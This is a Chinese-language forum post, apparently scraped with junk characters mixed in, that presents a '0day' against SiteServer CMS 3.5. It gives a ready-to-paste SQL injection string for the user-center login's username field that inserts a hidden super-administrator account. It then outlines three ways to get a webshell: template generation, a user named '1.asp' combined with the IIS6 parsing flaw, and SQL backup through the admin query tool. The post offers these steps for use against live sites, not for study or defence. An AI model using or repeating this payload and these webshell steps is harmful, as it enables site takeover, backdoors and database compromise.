SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
9 d. H; l( G9 u- i, I3 j
stieserver官网:www.siteserver.cn

3 V* ~' D% _1 K6 T! O

4 q4 N9 Y" L% n7 e+ ?EXP:
' c1 U6 m4 ]( j; ]
: j9 W# g: J5 _" I9 G; f' f/ I直接访问UserCenter/login.aspx
6 G. g$ _/ h* }
+ J/ \$ _, Q# r! J/ V

用户名处输入：

+ o4 S/ r' P* \2 b123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
) |7 ^4 Y! Z$ H+ Z9 A
( D; p, }) I8 e, N$ _/ T/ l
! h/ A( t4 t+ v9 r
密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
8 m8 C# R  N: s# ~- x7 [/ A


( ?7 F1 m( i  U之后再访问后台SiteServer/login.aspx用插入的用户登陆


+ G1 t, k9 Y. q% V- h- `) e9 O
后台拿webshell的三种方法：
4 g# h5 w3 ~. f4 h  A( ^
一、
8 B$ J; X" b; d
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx
9 }$ B& u% R# E9 N& c  M5 m
3 r& S$ i% W; ?: E/ j. d二、

9 n0 T0 C9 B% f  w  A8 K成员权限-》添加用户-》用户名为：1.asp

* {) I+ x9 q9 X) k3 x, fhttp://127.0.0.1/usercenter/

- ]& t9 x+ L" e1 Q用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell

+ S* Z, ~3 m- \; |4 }) `（ps：后台添加用户时不会验证是否含有非法字符）
) R$ y  s' M2 e- @+ d9 ~8 Q
三、

系统工具-》实用工具-》机器参数查看
# ?7 A7 K  g& y3 n可以看到数据库类型、名称，WEB路径

系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

8 }) W, Y' q8 D& {8 h